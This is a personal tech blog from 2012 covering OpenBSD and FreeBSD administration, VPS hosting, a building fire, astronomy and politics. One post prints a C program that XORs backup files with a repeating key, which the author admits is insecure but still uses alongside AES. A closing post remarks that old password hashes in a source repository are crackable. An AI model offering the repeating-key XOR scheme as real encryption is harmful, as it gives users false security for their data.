and I'M in europe. So I have the benefit of being able to conduct maintenance
on the computer systems while everyone sleeps and I'm also available during
the morning hours to the company. Our systems were designed for remote
consoles since that was the idea of the system architect, and it suits me
100%. I'm glad I got this job since I'd likely be unemployed again if I didn't
have it. well that's all so far, but I also want to say that I'm 100% impressed.
Got this new book
April 29th, 2012
Yesterday Amazon delivered this new book for me that I need for work..
Partly good is that I can read this on company time.
BOINC processing coming to an end
April 29th, 2012
In this article
I wrote about increasing boinc from 1 to 2 cores. It has been doing that
since February 2nd. So all good things come to an end, they say and it is
without regret that I'll be ceasing my processing probably around May 2nd. So
I had done 3 months of processing on 2 cores. OpenBSD Europe has started
shipping OpenBSD 5.1 and I fully expect my copy to get here tomorrow so that
I can start installing Jupiter with OpenBSD. In this other
article
I wrote about being in spot 142,597 well I'm happy to report that I'm now in
spot 97,043 so in the top 100,000. And also in the top 5% of BOINC participants. I think it's a job well done and I also paid for it with my electricity
bill. At least I gave something back for science.
Wildcarddnsd, pondering hacking again
April 29th, 2012
Well I had a really long break from hacking on wildcarddnsd. While reading in
this SIP book (see below) I noticed that the SRV RR is not supported by W.
So I'm thinking of putting that in. Anyone interested in helping with this?
Other little hacks are moving the command line flags to options in the config
file. If anyone is interested in doing that go right ahead! If you want a
bigger challenge I need a replacement parse.c file that is nicer perhaps a
YACC file (no bison!). What's on the menu for the long run? Well I hope to
be getting some time to do DNSSEC sometime in the next 2 years and also the
recursive resolver function I'd like to re-implement as this one is currently
broken. There is lots to do you just gotta look for it.
OpenBSD 5.1 released, jupiter.centroid.eu built
May 1st, 2012
OpenBSD 5.1 has been released today, at least I found the OS on the ftp.eu.openbsd.org ftp server.
So I wiped my vmware setup and installed it on the 160 GB SSD. Here is a
paste from the top while playing a youtube video:
mostly idle. This thing is a beast. Yes I did turn on HT again to see if the
lockups were confined only to Linux. I had another 80 GB SSD which I have now
put to rest until I need a replacement SSD. Also I tried gnome but it didn't
work so I'm back to using fluxbox which is fine with me.
io.solarscale.de needed a rescue/fsck
May 11th, 2012
Today io.solarscale.de acted real weird. The filesystem turned read-only on
me. So I rebooted the vps. When it came back it suggested fsck'ing the
filesystem. So I rebooted it once more hoping that it would fsck on boot.
It didn't do that. So I learned from my VPS provider how to put the system
in a rescue mode and finally I was able to fsck the hd image. The system
is debian and the particular filesytem is ext4 with journaling. For some
reason it would mount rw before the second reboot but still manage to say
it needed to fsck, how cocky! Anyhow. Everything seems sweet now. And
I may have learned how to install FreeBSD on this vps too. Shall the time
ever come I may do that.
What's up? Nothing.
May 21st, 2012
May,2012 is probably the least contentious (if that's a word) month in this
blog's history. I'm busy working and haven't found anything worth putting up.
What to do about ports?
May 23rd, 2012
I had moved /usr/ports to /usr/local/ports because it didn't fit anymore.
And today I ran out of space on /usr/local.
Script started on Wed May 23 14:50:10 2012
# df
Filesystem 512-blocks Used Avail Capacity Mounted on
/dev/wd0a 2057756 125444 1829428 6% /
/dev/wd0k 209124908 63155652 135513012 32% /home
/dev/wd0d 8250780 32 7838212 0% /tmp
/dev/wd0f 4122108 961584 2954420 25% /usr
/dev/wd0g 2057756 385272 1569600 20% /usr/X11R6
/dev/wd0h 20636924 19400224 204856 99% /usr/local
/dev/wd0j 4122108 321792 3594212 8% /usr/obj
/dev/wd0i 4122108 1694272 2221732 43% /usr/src
/dev/wd0e 38273692 64000 36296008 0% /var
# cd /home
# ls
pjp
# mkdir home
# mv pjp home/
# kbd=de.nodead
kbd: keyboard mapping set to de.nodead
# dump -0uaf - /usr/local | (cd /home ; restore -xf -)
DUMP: Date of this level 0 dump: Wed May 23 14:52:36 2012
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/rwd0h (/usr/local) to standard output
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 9725619 tape blocks.
DUMP: Volume 1 started at: Wed May 23 14:52:38 2012
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: 22.37% done, finished in 0:17
DUMP: 51.81% done, finished in 0:09
DUMP: 92.74% done, finished in 0:01
DUMP: 10002019 tape blocks
DUMP: Date of this level 0 dump: Wed May 23 14:52:36 2012
DUMP: Volume 1 completed at: Wed May 23 15:08:46 2012
DUMP: Volume 1 took 0:16:08
DUMP: Volume 1 transfer rate: 10332 KB/s
DUMP: Date this dump completed: Wed May 23 15:08:46 2012
DUMP: Average transfer rate: 10332 KB/s
DUMP: level 0 dump on Wed May 23 14:52:36 2012
DUMP: DUMP IS DONE
set owner/mode for '.'? [yn] y
# pwd
/home
# ls
bin include lib libexec ports share
home info libdata man sbin
# ls home
pjp
# df -h .
Filesystem Size Used Avail Capacity Mounted on
/dev/wd0k 99.7G 39.4G 55.4G 42% /home
# df
Filesystem 512-blocks Used Avail Capacity Mounted on
/dev/wd0a 2057756 125452 1829420 6% /
/dev/wd0k 209124908 82555840 116112824 42% /home
/dev/wd0d 8250780 32 7838212 0% /tmp
/dev/wd0f 4122108 961584 2954420 25% /usr
/dev/wd0g 2057756 385272 1569600 20% /usr/X11R6
/dev/wd0h 20636924 19400224 204856 99% /usr/local
/dev/wd0j 4122108 321792 3594212 8% /usr/obj
/dev/wd0i 4122108 1694272 2221732 43% /usr/src
/dev/wd0e 38273692 64000 36296008 0% /var
# umount /usr/src /usr/obj
# df
Filesystem 512-blocks Used Avail Capacity Mounted on
/dev/wd0a 2057756 125452 1829420 6% /
/dev/wd0k 209124908 82555840 116112824 42% /home
/dev/wd0d 8250780 32 7838212 0% /tmp
/dev/wd0f 4122108 961584 2954420 25% /usr
/dev/wd0g 2057756 385272 1569600 20% /usr/X11R6
/dev/wd0h 20636924 19400224 204856 99% /usr/local
/dev/wd0e 38273692 64000 36296008 0% /var
# umount /usr/local /usr/X11R6 /usr
umount: /usr: Device busy
# df
Filesystem 512-blocks Used Avail Capacity Mounted on
/dev/wd0a 2057756 125452 1829420 6% /
/dev/wd0k 209124908 82555840 116112824 42% /home
/dev/wd0d 8250780 32 7838212 0% /tmp
/dev/wd0f 4122108 961584 2954420 25% /usr
/dev/wd0e 38273692 64000 36296008 0% /var
# exit
Script done on Wed May 23 15:10:07 2012
At that point I unfortunately had to kill the typescript since it was on
the /usr filesystem and I needed to unmount it. What I did was something
along the lines of.
umount /usr
disklabel wd0 # and do some math
export EDITOR=/bin/ed
disklabel -e wd0 # and forget some commands, but it came back to me
newfs /dev/rwd0f
cd /usr ; restore -xf /mnt/backup/j-usr.dump # I backed up those before hand
cd /usr/X11R6 ; restore -xf /mnt/backup/j-usr-x11r6.dump
vi /etc/fstab # take out the old parititions
shutdown -r now
In the end my partitions looked like this and I was able to continue building
ports in /usr:
Putting the ports in the right directory is becoming a real problem for me.
And I've put some security of my system at risk because I took out some
compartmentization.
Ordered 4 books (I know, I know)
May 27th, 2012
Now that I'm making a fairly good income I gotta put my money somewhere so
I invested it into education. I bought four books that will help me with
my trait. One of them is:
I think SIP phones are going to be with us for a long time to come. My
Grandstream even hinted that it can do IPv6 now, which I have to play with.
Oh well.
This morning I upgraded uranus to 5.1 and it took about 2.5-3 hours with all
the packages being upgraded and such. This is usually such a pain that I
don't want to run -current and wait for the OpenBSD releases every year.
Oh yes I also upgraded libcrypto after the errata for 5.1.
Venus transit approaching / clouds?
June 3th, 2012
On June 8th, 2004 I was at my parents house and my mom and I looked at the
sun in a very rudamentary way. We held binoculars at the sun and used a
sheet of paper on the other end to make out a tiny dot that was venus. Never
look directly at the sun, or you'll have sight problems later. So on June 5th
and 6th (depending where you are) Venus will transit the suns disk again and
supposedly we won't see this event repeating from happening for a few
generations, so it may be worth it to take a look. It looks like we'll have
clouds here but there is a chance for it to clear up.
All sorts of telescopes will study venus from earth as the atmosphere will
likely be illuminated by the sun and we'll see details of how thick the
atmosphere may be. Who knows, there may be other science experiments that
could be done. Have fun to anyone looking at this solar system event. Also
have fun reading about it on the Internet, the best virtual telescope on
earth. I know I will.
Solstice in 4 days
June 16th, 2012
Hi, the solstice is in
four days from now. Get your celebration planned to worship the sungod, or
whatever. In the southern hemisphere of course it means winter where in the
northern hemisphere we'll have summer.
Congratulations to China
June 30th, 2012
Since I get chinese people looking at this blog occasionally I want to
congratulate you on your spacetrip and first chinese woman in space. I was
looking at the "
CSS" earlier today. Pretty cool! I hope one day germany will be able to
design space stations, or perhaps europe. How about on the moon!?
Going to the moon? You'll need this!
June 30th, 2012
I'm a big proponent of GW Bush's moon to mars idea. I think we should establish
a base on the moon first before venturing to mars. However to needlessly spend
fuel to land on the moon is pointless, you'll need this, a lunar space elevator.. Thanks to
Brad Guth for implanting that idea in my head.
Fritzbox 7930 NAS too slow!
June 30th, 2012
I bought my parents a Fritzbox 7930 made by AVM. It's a nice box but it can't
do everything. I think it's underpowered as I get only 4.5 MB/s writes via
ftp to this thing. I get less with CIFS which prompted me to write a utility
with ftplib that reads from stdin and dumps to a file via ftp. The cpu on the
fritzbox is at 99% and it won't go any faster. Here is my program:
Anyhow if you don't believe me watch these statistics with dump(8):
DUMP: Date of this level 0 dump: Sat Jun 30 17:15:09 2012
DUMP: Dumping /dev/sdb1 (/) to standard output
DUMP: Label: none
DUMP: Writing 10 Kilobyte records
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 158901841 blocks.
DUMP: Volume 1 started with block 1 at: Sat Jun 30 17:15:13 2012
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: 0.81% done at 4273 kB/s, finished in 10:14
DUMP: 1.64% done at 4340 kB/s, finished in 10:00
DUMP: 2.50% done at 4416 kB/s, finished in 9:44
DUMP: 3.37% done at 4461 kB/s, finished in 9:33
DUMP: 4.23% done at 4485 kB/s, finished in 9:25
DUMP: 5.10% done at 4498 kB/s, finished in 9:18
DUMP: 5.95% done at 4499 kB/s, finished in 9:13
I'll be taking the external hardrive back to this computer for backups. Too
bad.
A bit disappointed with dspam
July 6th, 2012
In May of 2011, I
identified
an issue with the FreeBSD mail server for the
company I work for. Dspam was coring on signal 8 repeatedly. I investigated
the issue and produced a workaround, it is written about
here.
So then when doing upgrades just recently I noticed the signal 8's were back
on the FreeBSD port, and also on the newest version of dspam. So I put my
patch to good use again and the signal 8s disappeared. All in all I'm a bit
disappointed that my "hint" to dspam development did not see a concrete fix
and I'm sure others must be having these problems as well.
Donated 50 euros to OpenBSD
July 13th, 2012
I've been in contact with some OpenBSD developers the last few days and they
managed to create a patch in the kernel that I needed. I promptly wrote Theo
a transaction for 50 euros. The money should go through in the next few
days. Thanks to Claudio, Henning, Otto, and if I didn't mention your name
a thanks goes out to you as well.
Cloudcracker, does it make economic sense?
July 30th, 2012
Came across this from a
heise.de article. And I'm thinking...this is such a waste of resources.
It's contributing to global warming quite possibly just to crack a silly
password.
Perhaps we need "cloudbroker" an entity that corporations sign up
to and they broker access to a corporations system considering the data that
would be used for a crack. It would save the economy money for one and
you could give it a certain amount of penalty before the broker rats on the
cracker, and then the corporation is alerted.
Now if the cloudcracker was powered 100% off-grid by solar panels, I'd like
the idea.
There may be a good side to this however. If enough people use such blatant
climate-killing services perhaps they will introduce low-cost, low-power
quantum systems sooner than later. At that point all crypto would be mute
anyhow and cryptosystems would live a renaissance most likely.
I kinda laughed reading this and thought I'd create my own that will
exist. Here, then, are five technologies that I predict will make it in
the future.
Quantum Computers
There is a lot of people working on these now with semi-successful attempts.
I believe in the next 10-15 years we'll see the first desktop quantum
computers.
Artificial Intelligences
In the future there may only be 2 types of programs. Operating Systems and
Artificial Intelligences. The latter can program you anything you wish,
from a game (interpreted or compiled) to a complex astronomy program.
Lunar Space Elevator
Unlike the Earth Space Elevator the LSE has a lot more going for it. No
thunderstorms, no atmosphere that eats away at the fibres. The LSE is almost
a perfect invention. And there can be 2 of them, one at the near side and
one at the far side of the moon.
L5 rotational space stations
You know those wheels that rotate in space? Well when the LSE is finished
these will also be easier to do. Mining on the moon will likely make these
possible. They will be constructed of iron or steel rather than light alloys.
Pseudo Time Machine
If an event happens on earth and you want to look back to see the events that
happened just prior you can. By placing earth observing telescopes very far
away, so that light travels on the matter of hours to their mirrors you can
create a "Way-back-machine" and it's due to the laws of physics (speedlimit
of light) that this works.
Why I don't trust the ITU
August 4th, 2012
The Internet is a dream come true for both techs and non-techs. It
revolutionized communication costs big time. This is why I do not like
hearing about the ITU wanting control of the Internet.
This article from the BBC writes the following:
The ITU is hosting a conference in December in Dubai to which representatives from 178 nations have been invited to review the International Telecommunications Regulations (ITR).
The ITR is a 1988 treaty which set out rules for how traffic should flow between different telecom networks, and how to calculate charges for traffic exchanged between carriers in different countries.
This is why I don't like the ITU because the ITR is mainly out of date. It's
people that made the Internet happen and people that drove costs down. And
they did this mainly from 1995 onwards. A 1988 treaty could not have conceived
of the explosiveness of the Internet's expansion.
Finally I'd like to say we're more than just customers to a telecom (who is
a member of the ITU), we are the Internet. Right now as it seems to me the
Internet is controlled by the US but it's in good hands. The ITU would
tear us apart and raise costs.
Why landing on Mars may not be a good idea (for humans)
August 5th, 2012
Mars may be toxic. So what do you do? I have a "backup" plan for landing
humans on mars. Instead of landing them on Mars itself, a craft lands on
the moons Phobos or Deimos. This puts them so close to mars that a round
trip time with communications between any point on mars is likely less than
500 ms. So if you think back to the movie "Avatar" there was a human
commanding an avatar and sensed what the avatar sensed. I propose that we do
this with robotics that land on mars instead of humans. While the humans are
getting comfy on the moons (little gravity unfortunately) and controlling
the robots they will have almost instant feedback of what a robot sees, hears
and feels. I think this will be enough quarantine to explore Mars even if it
harbours biological virii that could wipe out the human race when brought
back to earth on a human. Something to think about anyhow.
The distance of mars today
August 7th, 2012
With xephem and gimp I managed to get the angle between mars-sun-earth and
with a bit of trigonometry I solved how far Mars is currently from us.
I used the cosine formula from this page to help me.
Here is the manpulated image with gimp. I determined the angle to be 78.25
degrees.
Then I got the mean distances between sun and earth
(151.7 million kilometers)
and sun and mars
(229.7 million kilometers).
So then I had a,b and C and want
to solve for c (so c^2 = b^2 + a^2 - 2ba * cos(C)). And the distance I
calculated was 248.1591965 million kilometers. So then light speed between
earth and mars would take 827 seconds given that lightspeed is approximately
299,792 km
per second. That's 13.79 minutes!
Public letter to Sourceforge
August 11th, 2012
Date: Sat, 11 Aug 2012 20:40:37 +0200
From: "Peter J. Philipp"
To: sfnet_ops [at] geek.net
Cc: me
Subject: advertising a bit too much
Hi,
Take a look at this: http://ipv4.goldflipper.net/private/ad-trash.jpg
Where is there room left for my project? Please tone down 1 of those
ads (preferably the one on the bottom) or I will move my project offsite
which is a shame since I've been a member for 10 years now.
I intend to make this a public letter by placing it on my blog.
-peter
Left Sourceforge
August 14th, 2012
I left sourceforge.net, as I was playing around with viewvc and realised I
can have my own repo served from home. The advertising on sourceforge also
made me a bit mad, but what can you do it's their business model. They did
agree to be targetting their ads less on my pages but it was too late for them.
I have the capacity to be serving my projects without advertising and thus I'm
gonna go for it. If you're looking for my projects based at sourceforge
check out my cvs repository
that includes commit history of everything dating back to 2002. Also the
project pages that I created over the years are now found off my open source
site here. That's
the big news for now.
Fire in my building, Uranus is off
August 15th, 2012
There was a fire in my building. But I'm OK. Also my computers survived other
than getting a coat of soot. The fire department said I had to shut my servers
down until everything is settled after they let me into my apartment. However
my newly migrated sources (from sourceforge) are offline for the time being.
Sorry for any inconvenience.
6-8 Weeks
August 17th, 2012
Unfortunately the fire that ran through my building caused my apartment to be
unliveable. It will be restored in 4-6 weeks. Since this affects uranus
which is off now, I have moved all dns and mail operations over to io.solarscale.de and goldflipper.net. This is the downside of doing email at home I guess,
but fires didn't happen for a long time and are in all in all a rare event.
I'm just glad I got a bit of time off work to get everything organized again.
Pictures from my Fire-aftermath
August 19th, 2012
Here are some pictures:
No fun!
Four more weeks of summer
August 25th, 2012
Summer is coming to an end...slowly.
Can't wait for Fall!
Goodbye Moon-man! RIP.
August 25th, 2012
Neil Armstrong has died. For many an inspiration!
I'm a firm believer the USA landed on the moon not just once but six times.
Unfortunately back then the lunar program was not sustainable and they had
to cease going there. Pity still.
Steganography: It doesn't have to be criminals using it
August 29th, 2012
This BBC article
caught my attention. If you take a close look on my website (probably under
private) then you may notice steganographic content. I've been doing this
for a while now. If you can't see it, that's the point :-).
How not to succeed (in trojan programming)
September 3rd, 2012
The german BKA seeks a trojan programmer. The BKA is the german
equivalent of the american FBI. Let me brainstorm for you why this job is a
dead end job, with no chance to grow.
Programmers seek hacker culture. I believe you can't take a single
programmer and have them create 0-day trojan successfully. The programmer
will always be a step behind virus makers and anti-virus gangs who enjoy a
networked (perhaps even dark) underground where information is freely exchanged
in form of malware.
It's likely a dead-end job with no job security. With that I mean the
demanded results will never be fulfilled until the BKA seeks another rock-star
programmer
This is a cyberwar attempt. Cyberwars require enourmous people resources
which develop a "hacker culture" (as mentioned above), only these gangs can
be successful in creating the tools they require, a single person can only
dream of having the time (on the factor of 100) to do anything similar.
Job experience is a problem, there is likely a slight conflict of interest
for the best people for such a job. One is working for the police, c'mon you
can't likely feel good for a new piece of art that makes the rounds.
They'll likely use a programmer only to spit him out again. I've seen it
happen in this world. And while an applicant is being used for their hard
gained knowledge there is no return of knowledge back to them.
And a multitude of ethics come into play. Whose side are you on anyway? I
know this job isn't for me judging by the job-ad.
Registered a new domain
September 4th, 2012
I have registered a new domain. It will eventually replace goldflipper.net.
It's name is virgostar.net. When I was born virgo was the constellation
in the night sky. The virgo star spica was surrounded on both sides by a full
moon and uranus, but when I was born I became a pisces. Yesterday when I
registered virgostar.net the constellation virgo rose in the east at 10 AM
and the constellation pisces had the almost full moon in it. These were just
some celestial observances I made with stellarium (with which you can adjust the
date).
Also I'm going to be naming my computers after stars when I'm done with the
planets, so this is a fitting domain just like solarscale.de domain was fitting
with the planets. BTW I currently have control of six domains, probably a bit
too many but I like them all.
IPv4 Addresses Almost Exhausted in Europe
September 4th, 2012
This is the announcement from RIPE. Perhaps it's time to speed
up IPv6 deployment.
Could one of my dreams come true?
September 8th, 2012
Privately I had been dreaming of an optical computer. Photonics would do what
electrons do in conventional computers. I imagine speed at room temperature
and minimal energy (electricity) draw.
Now, my dream seems to have seeded in reality.
See here.
Here is a good explanation of a NAND gate, notice it's functionally complete meaning you can create all
other types of gates with this (AND, OR, XOR, and negated counterparts). Hats
off Mr. Ritesh Agarwal for leading development in an optical NAND gate!
Ordered OpenBSD 5.2 from Lehmanns.de
September 9th, 2012
Instead of ordering from OpenBSDEurope (sorry) I ordered from lehmanns.de this
time. I'm saving money as it's only 39.95 euros there.
And I can pay on delivery, and no shipping charges.
Purchased/Leased a new VPS
September 10th, 2012
In this
blog article I fantasize about having a third VPS in Singapore. Well, I got
one. Not in Singapore but in Hong Kong which is right around the corner
network speaking. This opens up a whole new arena for me. I'm now entering
the Asia Pacific market, whereas I had Europe and the Americas to this day.
I'm using vr.org as my hosting provider and
I've never heard anything about them before so this is sorta a new step.
Here are some facts about this new VPS:
512 MB RAM
FreeBSD
400 GB montly transfer
and lots more...
I'll be naming this VPS moon.virgostar.net, and it'll likely show up
first as a nameserver on the internet. Eventually I want it to serve web
pages too. Oh well. Today is a great day (for me!).
It's alive!
September 14th, 2012
I have provisioned, deployed and configured my new VPS in Hong Kong. Currently
it mirrors my website. If you go to ap.centroid.eu (ap stands for Asia-Pacific), you'll be seeing the usual website and blog.
I can now work on bettering my website a little.
My mom doesn't like Ubuntu 12.04
September 15th, 2012
My dad accidentally upgraded our 10.04LTS Ubuntu to 12.04LTS and my mom didn't
like the upgrade at all. So today I "downgraded" back to 10.04LTS and my mom
is happy again despite losing all her email. The reason she lost her email is
because you can upgrade evolution but not downgrade it, so the mails had to
pay. I'm also glad to be back at 10.04 I didn't want to pay the 92 euro upgrade
to VMware workstation 9 just so that it would work on 12.04.
Equinox in 4 days
September 18th, 2012
September Equinox is upon
us again. The northern hemisphere is entering autumn, the southern hemisphere
is entering spring. At equinox a pole at the equator placed at 90 degrees
and at high noon will not cast a shadow, other than upon itself. As time
progresses after the equinox the sun will favour the
tropic of capricorn over
the tropic of cancer until the next march equinox.
Perhaps you will celebrate this earth event. I will somewhat.
What if you don't have the "right stuff" to be a politician?
September 19th, 2012
Nonsense! In a democracy anyone can go become a politician and anyone can
vote for them. If they are clumsy in their job after that they likely won't
be voted for again. However the tabloit "Der Spiegel" seems to
think different, and I want
to remind them that this is a dangerous path to be on. They say and I quote:
"Enstanden ist ein Portraet von jungen Berliner Politikern, die eigentlich
keine Politiker sind - oder gar nicht das Zeug dazu haben.". So explain what
a politician is? Must you come from a "political studies" background where
you attended an elite-university? I say ridiculous! How up-in-the-air is that?
You have no such thing as "Volksnaehe" then (Volksnaehe means closeness of the
people). I understand that these words "Der Spiegel" are using are just to
discredit the Pirate Party of Germany, and don't tell me they haven't done so
I've seen the sneer comments about the Pirates. Oh so the pirates have lost
some ground, whoopeedoo! Somewhere, some other party is still missing their 6% of voters though! And that's enough to topple Mrs. Merkel
or keep her on, sorry to put it on the table, but I think the pirate party is
the decisive factor whether germany gets a red-green or a red-black parliament.
Either way we may see Merkel again one more term. Rant, off.
What would you do?
September 19th, 2012
Since 1998 until 2012 the wealth distribution of the richest 10% in Germany
rose from 45 percent of all wealth in germany to 53 percent. A staggering
8 percent rise. This also means that the other 90% of people have 8 percent
less of total distribution. These facts came from page 8 of the Schweinfurter
Tagblatt newspaper on Wednesday, September 19th, 2012.
If I was dictator of germany I'd immediately tax the rich more. But that
isn't enough because that only makes government richer, the funds do not
necessarily reach the people. I'd introduce a minimum wage to
give the poorest a boost almost at once. Yes you heard right, to this day
there is no minimum wage in germany. Then I'd invest in social programs
for the poor, done in such a way that it benefits the poor more than the
rich, and is long lasting. Easier said than done, but I'd give it a shot
anyhow.
Privacy: they know who you are anyways
September 21st, 2012
Ever since I had a fire in my apartment building I've been couching at my
parents house. I noticed that youtube and google know exactly who I am
whenever I return to their site. Even the same banners over and over on
slashdot revealed to me that they can track me. The big difference between
my house and my parents house is that they have a dynamic IP address and
I have a static IP. So what's the difference? With a static IP I even
get to run a "server" doing my own mail and knowing that my mail isn't kept
on some shady server somewhere, it's right at home instead. The privacy
with a static IP is protected more I'd argue than with a dynamic IP. This
surprises even me.
This is how I left summer behind
September 23rd, 2012
On a ship, on the river Danube. Goodbye Summer! See you later!
Hello Autumn!
Old --> New
September 23rd, 2012
I exchanged the first picture with the second picture in my private section of
my webpage centroid.eu.
Even though I could lose a few lbs I think I'm still a pretty lad.
Purchased online-backup storage
September 30th, 2012
September seems to be a purchasing month for me. I have purchased 20 GB of
online storage (at 1.49 euros per month) from strato.de. They are located in
Berlin and I intend to use them as a temporary storage for my VPS.
On mondays I'll back up moon.virgostar.net, on wednesdays I'll back up
goldflipper.net and on fridays I'll back up io.solarscale.de or something of
this order. On the days inbetween those backups I'll download the images
home on my harddrive. I think something of the order of 700 GB max will flow
between me and this backup storage (per month). Should be worth it.
Bad Cryptography: a one time pad
October 1st, 2012
When I put my backups on the online storage I "encrypt" the file twice. Once
with AES 256 in CBC mode and once with a one time pad that unfortunately
repeats so it's supposedly insecure. I want to share this one time pad with
you as it's derived from the one time pad at
hackepedia.
#include
#include
#include
#include
#include
#include
#include
#include
#define BLOCKSIZE 512
int
main(int argc, char *argv[])
{
uint64_t count = 0;
int keylen;
char *key;
u_char c[BLOCKSIZE];
struct stat sb;
char *ch;
int fd, len, i;
if (argc != 2) {
fprintf(stderr, "must provide a keyfile\n");
exit(1);
}
if (lstat(argv[1], &sb) < 0) {
perror("lstat");
exit(1);
}
fd = open(argv[1], O_RDONLY, 0);
if (fd < 0) {
perror("open");
exit(1);
}
if ((ch = mmap(NULL, sb.st_size, PROT_READ, MAP_FILE|MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror("mmap");
exit(1);
}
while ((len = read(STDIN_FILENO, c, sizeof(c))) > 0) {
for (i = 0; i < len ; i++) {
c[i] ^= ch[count % sb.st_size];
count++;
}
write(STDOUT_FILENO, c, len);
}
munmap(ch, sb.st_size);
close(fd);
return 0;
}
When I back up then it looks something like this in a pipeline
I am gambling somewhat whether this is secure, but I'd feel a little naked
with just an AES-CBC encryption.
The big smoggies...VPS's though?
October 2nd, 2012
Internet datacenters are big smoggies. Often servers sit there idling doing
nothing but waiting to take over a redundancy task. I'd just like to say that
my VPS network that I have created is on a X users shared basis, where more
than one customer resides on a server. They each borrow from the other
in terms of resources. And that's why I don't run permanent load on my vps's
because it suits the other guy as well. And in the end we have more than
just an idle server. We have a community on that server. And it's greener
than me going out and putting up a colo or a "root server" (dedicated).
The new york times wrote about that all computers on the internet use up enough
electricity for 30 nuclear power plants. Not all of that electricity comes
from green electricity but carbon oxided emissions such as coal. The way
we use the internet is not sustainable ... virtualization helps though if only
a little.
My top 8 genres in my iTunes collection
October 5th, 2012
Here is who I threw money at in the last 10 years. Each song is about 99 cents
worth. The way I did this was select all songs in itunes and pasted the titles
in an editor file. This file I then uploaded to a Unix computer and did the
following command.
However I get most other music from youtube, until I decide to give the artist
a bit of money.
One computer per year
October 11th, 2012
I've done some planning and I've come to the conclusion that I need one more
computer per year until 2016. See my computing history from april. Here is how I think it
will go down:
in 2013, I'm going to buy Gaia a mac mini most likely, I need this for my
new stand up table, I'll see if I can switch Saturn my netbook to OpenBSD then
in 2014, I'm going to retire mars (G4 Cube) and make Gaia its replacement,
I'm also going to retire Jupiter which will be 4 years old and buy a replacement
and call this Venus. Venus should have over 8 GB RAM but a power saving cpu.
in 2015, I'm likely going to need a laptop perhaps, I'll call this Mercury
This basically puts me on track since 2010 for 1 new computer per year, I think
I'm crazy perhaps (well I knew that). Since electricity in Germany is going to
get more expensive, it is good then that I retire Mars and I'm hoping for Gaia
to be power saving (at max cpu 85 watts apple says, but no indicator of idle
power). Also Jupiters replacement, Venus should be power saving this will save
me a bundle of money. I'm considering putting 1500 euros per year aside for
these "toys", and since I'm not married yet I don't have to worry about supporting the kids ;).
Seti@home has failed
October 13th, 2012
I got this in the mail the other day:
We need your help to continue the Search for Extraterrestrial Intelligence!
I guess the millions of people contributing computer cycles over the last 15
years is not enough anymore. Now the organization wants money. I think this
is the wrong approach. Look, they got millions of people happily contributing
on a client-server setup. Their servers are failing and they can't get more
and they ask for money (which they likely won't get). It's time to make
seti@home peer-to-peer. Figure out a way and people shall follow by installing
the software. And the 'net will be better for it. That's my 2 cents.
Two algorithms for rate-limiting
October 17th, 2012
I thought of these myself last night, please provide comments if you have
another idea.
2 rate limiting algorithms
--------------------------
Pretend you want to rate limit 3 packets per 6 seconds on the Internet.
I have thought of two ways to do this, one using 1 timestamp and a counter,
and the other using several timestamps and a counter which is more accurate.
First way
---------
When you have a packet arriving you take the timestamp of it. For the next
six seconds you can take on 2 more packets. Once the six seconds expired
you save the new timestamp and allow 3 more packets. This has the drawback
that you can fire off a packet, wait 5 seconds and fire off 2 more, then when
the sixth second is passed you send off 3 more packets so in 7 seconds you can
fire off 6 packets which isn't exactly what the rate of packets per second
says. However given 12 seconds it averages out because you wait 5 seconds from
those passed 7 seconds and don't allow anymore packets during that time. Then
on the 13th second you can fire off 3 more packets.
Second way
----------
To alleviate the "burst" problem of above you can add more memory resources
and add more timestamps. You allocate 3 timestamps for 3 packets per 6 seconds.
Then you make two counters. One for the position of the last timestamp and
one for the amount of packets that passed. So then when you start this
you send a packet and it saves the timestamp in timestamp[counter1] it then
increases counter1 and counter2. Next packet comes in a second later, it
checks timestamp[counter1 - counter2] if it has been under 6 seconds then
add the timestamp to timestap[counter1] and increase both counter1 and
counter2. 5 seconds later another packet comes in, the first timestamp is now
"expired" and gets set to 0, also counter2 gets decreased by one. This
ensures that we know how many timestamps exist. We then check
timestamp[counter1 - counter2] and if the offset in time is under 6 seconds
then we add another timestamp in timestamp[counter1]. The tricky part is
to deal with wrap-arounds. Ie. if you have 3 timestamps you can only fill
timestamp[0], timestamp[1], timestamp[2] before going back to timestamp[0],
which likely has been blanked otherwise the packet is dropped.
I invite you to provide clarifications and addendums,
-peter
:-)
A Planet around Alpha Centauri-B
October 18th, 2012
News reached us of a planet around Alpha Centauri B with a few properties.
It is around 1% of one AU far from AC-B. That makes me think it's tidally
locked. Tidally locked means that only one part of the planet faces the
star. Sorta like our moon is tidally locked with our earth. So then they
say the surface temperature is 1200 degrees Celsius. But what's the
temperature on the far side? Since Alpha Centauri is a tri-star system there
is 2 more stars that can light the far side. However AC-A and Proxima Centauri
are too far away (over 11 AU) and would probably not heat the surface much.
So then the questions comes up, if there is an atmosphere because an atmosphere
could spread heat around the far side, kinda like what's happening on Venus.
If there is no atmosphere there is probably not life as we know it but the
far side could be cool(er). Because the orbit is 3.2 days around AC-B , the far
side would be in view of AC-A 50% of the time, meaning there is a day-night
cycle every 78 hours or so, so 38 hours day and the rest night. I think this
is an interesting exoplanet, and we can only hope to see more about it in the
news to come.
Digits of Pi
October 18th, 2012
I wish they would have explained how to calculate the digits of Pi. Because
who can remember a constant number? It would have made a great computer
class.
NetBSD 6.0 was released yesterday
October 19th, 2012
Congratulations to that team. R.I.P. to who it was dedicated to. Here is the NetBSD home page or just follow one of the
links all over this blog.
EuroBSDCon 2012 starts tomorrow
October 19th, 2012
EuroBSDCon 2012 starts tomorrow in
Warsaw, Poland. I won't be going there this year but it's hard to believe
that it's been a little over a year since EuroBSDCon 2011 near Amsterdam.
OpenBSD will likely add a few more
papers of talks held at EuroBSDCon 2012, and I always check for those, as
they're usually interesting.
FreeBSD repository now has CSRG in svn
October 20th, 2012
The FreeBSD repo now has the CSRG revisions in it's SVN. And they made a
blooper. If you're interested in what peoples first dogs name was then
you can crack these passwords. Remember this is from the late
80's and early 90's where people still thought DES was secure or didn't
understand that their password would follow them to 2012 where cracking
with dictionary attack tools such as John the Ripper exist, and were are widely successful. Now
I'm not saying you should crack these passwords but if you wanted to then
you could.
